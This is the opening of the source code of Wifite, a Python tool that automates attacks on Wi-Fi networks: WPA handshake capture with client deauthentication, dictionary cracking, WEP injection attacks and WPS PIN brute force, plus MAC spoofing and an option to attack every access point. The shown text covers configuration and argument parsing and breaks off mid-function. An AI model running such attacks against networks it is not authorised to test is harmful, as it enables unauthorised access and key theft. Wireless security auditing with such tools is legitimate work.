#!/usr/bin/python

# -\*- coding: utf-8 -\*-

"""

Wifite

author: Elloit (mrobot820@gmail.com)

author: drone @dronesec (ballastsec@gmail.com)

Thanks to everyone that contributed to this project.

If you helped in the past and want your name here, shoot me an email

(C) 2019 Elloit Ron0

Ballast Security additions

-----------------

- No longer requires to be root to run -cracked

- cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)

- Backwards compatibility

- Made a run configuration class to handle globals

- Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)

- Changed the updater to grab files from GitHub and not Google Code

- Use argparse to parse command-line arguments

- -wepca flag now properly initialized if passed through CLI

- parse\_csv uses python csv library

-----------------

TODO:

Restore same command-line switch names from v1

If device already in monitor mode, check for and, if applicable, use macchanger

WPS

\* Mention reaver automatically resumes sessions

\* Warning about length of time required for WPS attack (\*hours\*)

\* Show time since last successful attempt

\* Percentage of tries/attempts ?

\* Update code to work with reaver 1.4 ("x" sec/att)

WEP:

\* ability to pause/skip/continue (done, not tested)

\* Option to capture only IVS packets (uses --output-format ivs,csv)

- not compatible on older aircrack-ng's.

- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works

- would cut down on size of saved .caps

reaver:

MONITOR ACTIVITY!

- Enter ESSID when executing (?)

- Ensure WPS key attempts have begun.

- If no attempts can be made, stop attack

- During attack, if no attempts are made within X minutes, stop attack & Print

- Reaver's output when unable to associate:

[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)

- If failed to associate for x minutes, stop attack (same as no attempts?)

MIGHTDO:

\* WPA - crack (pyrit/cowpatty) (not really important)

\* Test injection at startup? (skippable via command-line switch)

"""

# ############

# LIBRARIES #

#############

import csv # Exporting and importing cracked aps

import os # File management

import time # Measuring attack intervals

import random # Generating a random MAC address.

import errno # Error numbers

from sys import argv # Command-line arguments

from sys import stdout # Flushing

from shutil import copy # Copying .cap files

# Executing, communicating with, killing processes

from subprocess import Popen, call, PIPE

from signal import SIGINT, SIGTERM

import re # RegEx, Converting SSID to filename

import argparse # arg parsing

import urllib # Check for new versions from the repo

import abc # abstract base class libraries for attack templates

################################

# GLOBAL VARIABLES IN ALL CAPS #

################################

# Console colors

W = '\033[0m' # white (normal)

R = '\033[31m' # red

G = '\033[32m' # green

O = '\033[33m' # orange

B = '\033[34m' # blue

P = '\033[35m' # purple

C = '\033[36m' # cyan

GR = '\033[37m' # gray

# /dev/null, send output from programs so they don't print to screen.

DN = open(os.devnull, 'w')

ERRLOG = open(os.devnull, 'w')

OUTLOG = open(os.devnull, 'w')

###################

# DATA STRUCTURES #

###################

class CapFile:

"""

Holds data about an access point's .cap file, including AP's ESSID & BSSID.

"""

def \_\_init\_\_(self, filename, ssid, bssid):

self.filename = filename

self.ssid = ssid

self.bssid = bssid

class Target:

"""

Holds data for a Target (aka Access Point aka Router)

"""

def \_\_init\_\_(self, bssid, power, data, channel, encryption, ssid):

self.bssid = bssid

self.power = power

self.data = data

self.channel = channel

self.encryption = encryption

self.ssid = ssid

self.wps = False # Default to non-WPS-enabled router.

self.key = ''

class Client:

"""

Holds data for a Client (device connected to Access Point/Router)

"""

def \_\_init\_\_(self, bssid, station, power):

self.bssid = bssid

self.station = station

self.power = power

class RunConfiguration:

"""

Configuration for this rounds of attacks

"""

def \_\_init\_\_(self):

self.REVISION = 89;

self.PRINTED\_SCANNING = False

self.TX\_POWER = 0 # Transmit power for wireless interface, 0 uses default power

# WPA variables

self.WPA\_DISABLE = False # Flag to skip WPA handshake capture

self.WPA\_STRIP\_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake

self.WPA\_DEAUTH\_COUNT = 1 # Count to send deauthentication packets

self.WPA\_DEAUTH\_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)

self.WPA\_ATTACK\_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)

self.WPA\_HANDSHAKE\_DIR = 'hs' # Directory in which handshakes .cap files are stored

# Strip file path separator if needed

if self.WPA\_HANDSHAKE\_DIR != '' and self.WPA\_HANDSHAKE\_DIR[-1] == os.sep:

self.WPA\_HANDSHAKE\_DIR = self.WPA\_HANDSHAKE\_DIR[:-1]

self.WPA\_FINDINGS = [] # List of strings containing info on successful WPA attacks

self.WPA\_DONT\_CRACK = False # Flag to skip cracking of handshakes

if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):

self.WPA\_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'

elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):

self.WPA\_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'

elif os.path.exists('/usr/share/wordlists/fern-wifi/common.txt'):

self.WPA\_DICTIONARY = '/usr/share/wordlists/fern-wifi/common.txt'

else:

self.WPA\_DICTIONARY = ''

# Various programs to use when checking for a four-way handshake.

# True means the program must find a valid handshake in order for wifite to recognize a handshake.

# Not finding handshake short circuits result (ALL 'True' programs must find handshake)

self.WPA\_HANDSHAKE\_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)

self.WPA\_HANDSHAKE\_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.

self.WPA\_HANDSHAKE\_AIRCRACK = True # Not 100% accurate, but fast.

self.WPA\_HANDSHAKE\_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)

# WEP variables

self.WEP\_DISABLE = False # Flag for ignoring WEP networks

self.WEP\_PPS = 600 # packets per second (Tx rate)

self.WEP\_TIMEOUT = 600 # Amount of time to give each attack

self.WEP\_ARP\_REPLAY = True # Various WEP-based attacks via aireplay-ng

self.WEP\_CHOPCHOP = True #

self.WEP\_FRAGMENT = True #

self.WEP\_CAFFELATTE = True #

self.WEP\_P0841 = True

self.WEP\_HIRTE = True

self.WEP\_CRACK\_AT\_IVS = 10000 # Number of IVS at which we start cracking

self.WEP\_IGNORE\_FAKEAUTH = True # When True, continues attack despite fake authentication failure

self.WEP\_FINDINGS = [] # List of strings containing info on successful WEP attacks.

self.WEP\_SAVE = False # Save packets.

# WPS variables

self.WPS\_DISABLE = False # Flag to skip WPS scan and attacks

self.PIXIE = False

self.WPS\_FINDINGS = [] # List of (successful) results of WPS attacks

self.WPS\_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt

self.WPS\_RATIO\_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)

self.WPS\_MAX\_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.

# Program variables

self.SHOW\_ALREADY\_CRACKED = False # Says whether to show already cracked APs as options to crack

self.WIRELESS\_IFACE = '' # User-defined interface

self.MONITOR\_IFACE = '' # User-defined interface already in monitor mode

self.TARGET\_CHANNEL = 0 # User-defined channel to scan on

self.TARGET\_ESSID = '' # User-defined ESSID of specific target to attack

self.TARGET\_BSSID = '' # User-defined BSSID of specific target to attack

self.IFACE\_TO\_TAKE\_DOWN = '' # Interface that wifite puts into monitor mode

# It's our job to put it out of monitor mode after the attacks

self.ORIGINAL\_IFACE\_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)

self.DO\_NOT\_CHANGE\_MAC = True # Flag for disabling MAC anonymizer

self.SEND\_DEAUTHS = True # Flag for deauthing clients while scanning for acces points

self.TARGETS\_REMAINING = 0 # Number of access points remaining to attack

self.WPA\_CAPS\_TO\_CRACK = [] # list of .cap files to crack (full of CapFile objects)

self.THIS\_MAC = '' # The interfaces current MAC address.

self.SHOW\_MAC\_IN\_SCAN = False # Display MACs of the SSIDs in the list of targets

self.CRACKED\_TARGETS = [] # List of targets we have already cracked

self.ATTACK\_ALL\_TARGETS = False # Flag for when we want to attack \*everyone\*

self.ATTACK\_MIN\_POWER = 0 # Minimum power (dB) for access point to be considered a target

self.VERBOSE\_APS = True # Print access points as they appear

self.CRACKED\_TARGETS = self.load\_cracked()

old\_cracked = self.load\_old\_cracked()

if len(old\_cracked) > 0:

# Merge the results

for OC in old\_cracked:

new = True

for NC in self.CRACKED\_TARGETS:

if OC.bssid == NC.bssid:

new = False

break

# If Target isn't in the other list

# Add and save to disk

if new:

self.save\_cracked(OC)

def ConfirmRunningAsRoot(self):

if os.getuid() != 0:

print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W

print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W

exit(1)

def ConfirmCorrectPlatform(self):

if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?

print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W

exit(1)

def CreateTempFolder(self):

from tempfile import mkdtemp

self.temp = mkdtemp(prefix='wifite')

if not self.temp.endswith(os.sep):

self.temp += os.sep

def save\_cracked(self, target):

"""

Saves cracked access point key and info to a file.

"""

self.CRACKED\_TARGETS.append(target)

with open('cracked.csv', 'wb') as csvfile:

targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE\_MINIMAL)

for target in self.CRACKED\_TARGETS:

targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])

def load\_cracked(self):

"""

Loads info about cracked access points into list, returns list.

"""

result = []

if not os.path.exists('cracked.csv'): return result

with open('cracked.csv', 'rb') as csvfile:

targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')

for row in targetreader:

t = Target(row[0], 0, 0, 0, row[1], row[2])

t.key = row[3]

t.wps = row[4]

result.append(t)

return result

def load\_old\_cracked(self):

"""

Loads info about cracked access points into list, returns list.

"""

result = []

if not os.path.exists('cracked.txt'):

return result

fin = open('cracked.txt', 'r')

lines = fin.read().split('\n')

fin.close()

for line in lines:

fields = line.split(chr(0))

if len(fields) <= 3:

continue

tar = Target(fields[0], '', '', '', fields[3], fields[1])

tar.key = fields[2]

result.append(tar)

return result

def exit\_gracefully(self, code=0):

"""

We may exit the program at any time.

We want to remove the temp folder and any files contained within it.

Removes the temp files/folder and exists with error code "code".

"""

# Remove temp files and folder

if os.path.exists(self.temp):

for f in os.listdir(self.temp):

os.remove(os.path.join(self.temp, f))

os.rmdir(self.temp)

# Disable monitor mode if enabled by us

self.RUN\_ENGINE.disable\_monitor\_mode()

# Change MAC address back if spoofed

mac\_change\_back()

print GR + " [+]" + W + " quitting" # wifite will now exit"

print ''

# GTFO

exit(code)

def handle\_args(self):

"""

Handles command-line arguments, sets global variables.

"""

set\_encrypt = False

set\_hscheck = False

set\_wep = False

capfile = '' # Filename of .cap file to analyze for handshakes

opt\_parser = self.build\_opt\_parser()

options = opt\_parser.parse\_args()

try:

if not set\_encrypt and (options.wpa or options.wep or options.wps):

self.WPS\_DISABLE = True

self.WPA\_DISABLE = True

self.WEP\_DISABLE = True

set\_encrypt = True

if options.recrack:

self.SHOW\_ALREADY\_CRACKED = True

print GR + ' [+]' + W + ' including already cracked networks in targets.'

if options.wpa:

if options.wps:

print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'

else:

print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'

self.WPA\_DISABLE = False

if options.wep:

print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'

self.WEP\_DISABLE = False

if options.wps:

print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'

self.WPS\_DISABLE = False

if options.pixie:

print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'

print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'

self.WPS\_DISABLE = False

self.WEP\_DISABLE = True

self.PIXIE = True

if options.channel:

try:

self.TARGET\_CHANNEL = int(options.channel)

except ValueError:

print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W

except IndexError:

print O + ' [!]' + R + ' no channel given!' + W

else:

print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET\_CHANNEL) + W)

if options.mac\_anon:

print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W

print O + ' not: only works if device is not already in monitor mode!' + W

self.DO\_NOT\_CHANGE\_MAC = False

if options.interface:

self.WIRELESS\_IFACE = options.interface

print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS\_IFACE + W)

if options.monitor\_interface:

self.MONITOR\_IFACE = options.monitor\_interface

print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR\_IFACE + W)

if options.nodeauth:

self.SEND\_DEAUTHS = False

print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W

if options.essid:

try:

self.TARGET\_ESSID = options.essid

except ValueError:

print R + ' [!]' + O + ' no ESSID given!' + W

else:

print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET\_ESSID + W)

if options.bssid:

try:

self.TARGET\_BSSID = options.bssid

except ValueError:

print R + ' [!]' + O + ' no BSSID given!' + W

else:

print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET\_BSSID + W)

if options.showb:

self.SHOW\_MAC\_IN\_SCAN = True

print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W

if options.all:

self.ATTACK\_ALL\_TARGETS = True

print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W

if options.power:

try:

self.ATTACK\_MIN\_POWER = int(options.power)

except ValueError:

print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)

except IndexError:

print R + ' [!]' + O + ' no power level given!' + W

else:

print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK\_MIN\_POWER) + W)

if options.tx:

try:

self.TX\_POWER = int(options.tx)

except ValueError:

print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)

except IndexError:

print R + ' [!]' + O + ' no TX power level given!' + W

else:

print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX\_POWER) + W)

if options.quiet:

self.VERBOSE\_APS = False

print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W

if options.check:

try:

capfile = options.check

except IndexError:

print R + ' [!]' + O + ' unable to analyze capture file' + W

print R + ' [!]' + O + ' no cap file given!\n' + W

self.exit\_gracefully(1)

else:

if not os.path.exists(capfile):

print R + ' [!]' + O + ' unable to analyze capture file!' + W

print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W

self.exit\_gracefully(1)

if options.cracked:

if len(self.CRACKED\_TARGETS) == 0:

print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W

self.exit\_gracefully(1)

print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'

for victim in self.CRACKED\_TARGETS:

if victim.wps != False:

print ' %s (%s) : "%s" - Pin: %s' % (

C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)

else:

print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)

print ''

self.exit\_gracefully(0)

# WPA

if not set\_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):

self.WPA\_HANDSHAKE\_TSHARK = False

self.WPA\_HANDSHAKE\_PYRIT = False

self.WPA\_HANDSHAKE\_COWPATTY = False

self.WPA\_HANDSHAKE\_AIRCRACK = False

set\_hscheck = True

if options.strip:

self.WPA\_STRIP\_HANDSHAKE = True

print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W

if options.wpadt:

try:

self.WPA\_DEAUTH\_TIMEOUT = int(options.wpadt)

except ValueError:

print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)

except IndexError:

print R + ' [!]' + O + ' no deauth timeout given!' + W

else:

print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA\_DEAUTH\_TIMEOUT) + W)

if options.wpat:

try:

self.WPA\_ATTACK\_TIMEOUT = int(options.wpat)

except ValueError:

print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)

except IndexError:

print R + ' [!]' + O + ' no attack timeout given!' + W

else:

print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA\_ATTACK\_TIMEOUT) + W)

if options.crack:

self.WPA\_DONT\_CRACK = False

print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W

if options.dic:

try:

self.WPA\_DICTIONARY = options.dic

except IndexError:

print R + ' [!]' + O + ' no WPA dictionary given!'

else:

if os.path.exists(options.dic):

print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA\_DICTIONARY + W)

else:

print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)

else:

print R + ' [!]' + O + ' WPA dictionary file not given!'

self.exit\_gracefully(1)

if options.tshark:

self.WPA\_HANDSHAKE\_TSHARK = True

print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W

if options.pyrit:

self.WPA\_HANDSHAKE\_PYRIT = True

print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W

if options.aircrack:

self.WPA\_HANDSHAKE\_AIRCRACK = True

print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W

if options.cowpatty:

self.WPA\_HANDSHAKE\_COWPATTY = True

print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W

# WEP

if not set\_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \

or options.p0841 or options.hirte:

self.WEP\_CHOPCHOP = False

self.WEP\_ARPREPLAY = False

self.WEP\_CAFFELATTE = False

self.WEP\_FRAGMENT = False

self.WEP\_P0841 = False

self.WEP\_HIRTE = False

if options.chopchop:

print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W

self.WEP\_CHOPCHOP = True

if options.fragment:

print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W

self.WEP\_FRAGMENT = True

if options.caffeelatte:

print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W

self.WEP\_CAFFELATTE = True

if options.arpreplay:

print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W

self.WEP\_ARPREPLAY = True

if options.p0841:

print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W

self.WEP\_P0841 = True

if options.hirte:

print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W

self.WEP\_HIRTE = True

if options.fakeauth:

print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W

self.WEP\_IGNORE\_FAKEAUTH = False

if options.wepca:

try:

self.WEP\_CRACK\_AT\_IVS = int(options.wepca)

except ValueError:

print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )

except IndexError:

print R + ' [!]' + O + ' no IV number specified!' + W

else:

print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (

G + str(self.WEP\_CRACK\_AT\_IVS) + W)

if options.wept:

try:

self.WEP\_TIMEOUT = int(options.wept)

except ValueError:

print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)

except IndexError:

print R + ' [!]' + O + ' no timeout given!' + W

else:

print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (

G + str(self.WEP\_TIMEOUT) + " seconds" + W)

if options.pps:

try:

self.WEP\_PPS = int(options.pps)

except ValueError:

print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)

except IndexError:

print R + ' [!]' + O + ' no value given!' + W

else:

print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (

G + str(options.pps) + " packets/sec" + W)

if options.wepsave:

self.WEP\_SAVE = True

print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W

# WPS

if options.wpst:

try:

self.WPS\_TIMEOUT = int(options.wpst)

except ValueError:

print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)

except IndexError:

print R + ' [!]' + O + ' no timeout given!' + W

else:

print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (

G + str(self.WPS\_TIMEOUT) + " seconds" + W)

if options.wpsratio:

try:

self.WPS\_RATIO\_THRESHOLD = float(options.wpsratio)

except ValueError:

print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)

except IndexError:

print R + ' [!]' + O + ' no ratio given!' + W

else:

print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (

G + str(self.WPS\_RATIO\_THRESHOLD) + "" + W)

if options.wpsretry:

try:

self.WPS\_MAX\_RETRIES = int(options.wpsretry)

except ValueError:

print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)

except IndexError:

print R + ' [!]' + O + ' no number given!' + W

else:

print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (

G + str(self.WPS\_MAX\_RETRIES) + " retries" + W)

except IndexError:

print '\nindexerror\n\n'

if capfile != '':

self.RUN\_ENGINE.analyze\_capfile(capfile)

print ''

def build\_opt\_parser(self):

""" Options are doubled for backwards compatability; will be removed soon and

fully moved to GNU-style

"""

option\_parser = argparse.ArgumentParser()

# set commands

command\_group = option\_parser.add\_argument\_group('COMMAND')

command\_group.add\_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')

command\_group.add\_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)

command\_group.add\_argument('--cracked', help='Display previously cracked access points.', action='store\_true',

dest='cracked')

command\_group.add\_argument('-cracked', help=argparse.SUPPRESS, action='store\_true', dest='cracked')

command\_group.add\_argument('--recrack', help='Include already cracked networks in targets.',

action='store\_true', dest='recrack')

command\_group.add\_argument('-recrack', help=argparse.SUPPRESS, action='store\_true', dest='recrack')

# set global

global\_group = option\_parser.add\_argument\_group('GLOBAL')

global\_group.add\_argument('--all', help='Attack all targets.', default=False, action='store\_true', dest='all')

global\_group.add\_argument('-all', help=argparse.SUPPRESS, default=False, action='store\_true', dest='all')

global\_group.add\_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')

global\_group.add\_argument('--mac', help='Anonymize MAC address.', action='store\_true', default=False,

dest='mac\_anon')

global\_group.add\_argument('-mac', help=argparse.SUPPRESS, action='store\_true', default=False, dest='mac\_anon')

global\_group.add\_argument('--mon-iface', help='Interface already in monitor mode.', action='store',

dest='monitor\_interface')

global\_group.add\_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')

global\_group.add\_argument('-e', help='Target a specific access point by ssid (name).', action='store',

dest='essid')

global\_group.add\_argument('-b', help='Target a specific access point by bssid (mac).', action='store',

dest='bssid')

global\_group.add\_argument('--showb', help='Display target BSSIDs after scan.', action='store\_true',

dest='showb')

global\_group.add\_argument('-showb', help=argparse.SUPPRESS, action='store\_true', dest='showb')

global\_group.add\_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store\_true', dest='nodeauth')

global\_group.add\_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',

dest='power')

global\_group.add\_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')

global\_group.add\_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')

global\_group.add\_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')

global\_group.add\_argument('--quiet', help='Do not print list of APs during scan.', action='store\_true',

dest='quiet')

global\_group.add\_argument('-quiet', help=argparse.SUPPRESS, action='store\_true', dest='quiet')

# set wpa commands

wpa\_group = option\_parser.add\_argument\_group('WPA')

wpa\_group.add\_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,

action='store\_true', dest='wpa')

wpa\_group.add\_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store\_true', dest='wpa')

wpa\_group.add\_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',

dest='wpat')

wpa\_group.add\_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')

wpa\_group.add\_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',

dest='wpadt')

wpa\_group.add\_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')

wpa\_group.add\_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,

action='store\_true', dest='strip')

wpa\_group.add\_argument('-strip', help=argparse.SUPPRESS, default=False, action='store\_true', dest='strip')

wpa\_group.add\_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store\_true',

dest='crack')

wpa\_group.add\_argument('-crack', help=argparse.SUPPRESS, action='store\_true', dest='crack')

wpa\_group.add\_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',

dest='dic')

wpa\_group.add\_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')

wpa\_group.add\_argument('--aircrack', help='Verify handshake using aircrack.', default=False,

action='store\_true', dest='aircrack')

wpa\_group.add\_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store\_true', dest='aircrack')

wpa\_group.add\_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store\_true',

dest='pyrit')

wpa\_group.add\_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store\_true', dest='pyrit')

wpa\_group.add\_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store\_true',

dest='tshark')

wpa\_group.add\_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store\_true', dest='tshark')

wpa\_group.add\_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,

action='store\_true', dest='cowpatty')

wpa\_group.add\_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store\_true', dest='cowpatty')

# set WEP commands

wep\_group = option\_parser.add\_argument\_group('WEP')

wep\_group.add\_argument('--wep', help='Only target WEP networks.', default=False, action='store\_true',

dest='wep')

wep\_group.add\_argument('-wep', help=argparse.SUPPRESS, default=False, action='store\_true', dest='wep')

wep\_group.add\_argument('--pps', help='Set the number of packets per second to inject.', action='store',

dest='pps')

wep\_group.add\_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')

wep\_group.add\_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',

dest='wept')

wep\_group.add\_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')

wep\_group.add\_argument('--chopchop', help='Use chopchop attack.', default=False, action='store\_true',

dest='chopchop')

wep\_group.add\_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store\_true', dest='chopchop')

wep\_group.add\_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store\_true',

dest='arpreplay')

wep\_group.add\_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store\_true',

dest='arpreplay')

wep\_group.add\_argument('--fragment', help='Use fragmentation attack.', default=False, action='store\_true',

dest='fragment')

wep\_group.add\_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store\_true', dest='fragment')

wep\_group.add\_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store\_true',

dest='caffeelatte')

wep\_group.add\_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store\_true',

dest='caffeelatte')

wep\_group.add\_argument('--p0841', help='Use P0842 attack.', default=False, action='store\_true', dest='p0841')

wep\_group.add\_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store\_true', dest='p0841')

wep\_group.add\_argument('--hirte', help='Use hirte attack.', default=False, action='store\_true', dest='hirte')

wep\_group.add\_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store\_true', dest='hirte')

wep\_group.add\_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,

action='store\_true', dest='fakeauth')

wep\_group.add\_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store\_true',

dest='fakeauth')

wep\_group.add\_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',

dest='wepca')

wep\_group.add\_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')

wep\_group.add\_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,

action='store', dest='wepsave')

wep\_group.add\_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')

# set WPS commands

wps\_group = option\_parser.add\_argument\_group('WPS')

wps\_group.add\_argument('--wps', help='Only target WPS networks.', default=False, action='store\_true',

dest='wps')

wps\_group.add\_argument('-wps', help=argparse.SUPPRESS, default=False, action='store\_true', dest='wps')

wps\_group.add\_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store\_true', dest='pixie')

wps\_group.add\_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',

dest='wpst')

wps\_group.add\_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')

wps\_group.add\_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',

dest='wpsratio')

wps\_group.add\_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')

wps\_group.add\_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',

action='store', dest='wpsretry')

wps\_group.add\_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')

return option\_parser

class RunEngine:

def \_\_init\_\_(self, run\_config):

self.RUN\_CONFIG = run\_config

self.RUN\_CONFIG.RUN\_ENGINE = self

def initial\_check(self):

"""

Ensures required programs are installed.

"""

airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']

for air in airs:

if program\_exists(air): continue

print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)

print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W

print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W

print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W

self.RUN\_CONFIG.exit\_gracefully(1)

if not program\_exists('iw'):

